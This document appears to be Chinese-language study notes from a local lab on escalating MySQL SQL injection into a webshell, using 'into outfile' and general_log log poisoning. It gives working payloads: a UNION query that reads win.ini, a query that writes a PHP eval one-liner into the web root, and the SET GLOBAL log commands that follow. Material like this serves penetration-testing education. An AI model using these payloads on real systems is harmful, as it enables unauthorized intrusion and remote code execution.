1. into outfile(手寫)
1.1. 利用條件
? web 目錄具有寫入權限,能夠使用單引號 ? 知道網站絕對路徑(根目錄,或則是根目錄往下的目錄都行)
? secure_file_priv 沒有具體值(在 mysql/my.ini 中查看)
1.2. secure_file_priv 介紹
secure_file_priv 是用來限制 load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。在 mysql 5.6.34 版本以后 secure_file_priv 的值默認為 NULL。如下關于 secure_file_priv 的配置介紹
1、secure_file_priv 的值為 NULL,表示限制 mysql 不允許導入|導出
2、當 secure_file_priv 的值為/tmp/ ,表示限制 mysql 的導入|導出只能發生在/tmp/目錄 下(其他目錄也可以)
3、當 secure_file_priv 的值沒有具體值時,表示不對 mysql 的導入|導出做限制
打開虛擬機,首先對secure_file_priv 設置為空,只有為空時才能不對MySQL的輸入和輸出有限制
先查詢是否為空(需要在MySQL下)
show global variables like '%secure%';
- 在我的數據庫中如圖顯示,很顯然secure_file_priv 的值為null,很顯然是不允許的
- 有的是沒有的,沒有就找到mysql/my.ini文件添加,添加后重啟小皮即可
secure_file_priv = ''
接下來可以利用該函數進行寫入一句話木馬
1.3. 一句話木馬
讀取文件
-1' union select 1,load_file("C:/Windows/win.ini"),3--+
- 前面步驟和聯合查詢一樣,判斷注入點,閉合方式,列數,回顯點,之后進行寫馬,首先獲取路徑
id=-1' union select 1,@@datadir,3--+
- 寫入木馬,
id=-1' union select 1,"<?php eval($_post['密碼']);?>",3 into outfile 'F:\\phpStudy\\PHPTutorial\\WWW\\321.php'--+
標藍底的為文件地址。當我們寫入成功后將會在該文件地址寫入PHP格式文檔
文件內容會是<?php eval($ POST['密碼']);?>
- 使用蟻劍連接
1.4. general_log寫入日志(日志寫碼)
1.4.1. 利用條件 :
? 知道日志的保存路徑 ? 日志功能是打開的
1.4.2. general_log 介紹
在 MySQL 中,General Log 是一種非常重要的日志類型,它記錄了發送到 MySQL 服務器的所有 SQL 語句。通常,出于性能考慮,不建議長時間開啟 General Log,因為 它會生成大量的日志數據。然而,在某些情況下,為了排查問題,可能需要臨時開啟 General Log
我們使用過的SQL語句均會在此顯示
show variables like 'general_log';
:查看日志是否開啟
1.4.2.1. 日志寫馬常用指令
set global general_log=on;
-- 開啟日志功能
show variables like 'general_log_file';
-- 查看看日志文件保存位置
set global general_log_file='tmp/general.lg';
-- 設置日志文件保存位置
show variables like 'log_output';
-- 查看看日志輸出類型table 或file
set global log_output='table';
-- 設置輸出類型為table
set global log_output='file';
-- 設置輸出類型為file
1.4.3. 進行日志寫馬
- 當我們打開日志后,設置日志的保存路徑和文件名稱
show variables like 'general_log_file';
- 日志會記錄我們所有輸入的數據庫語句
- 接下來我們進行日志寫馬,我們在前臺輸入一句話木馬,只需要確保輸入的語句到達了數據庫執行了就行,成功失敗都沒關系并不影響木馬計入到日志中。
- 在使用蟻劍連接即可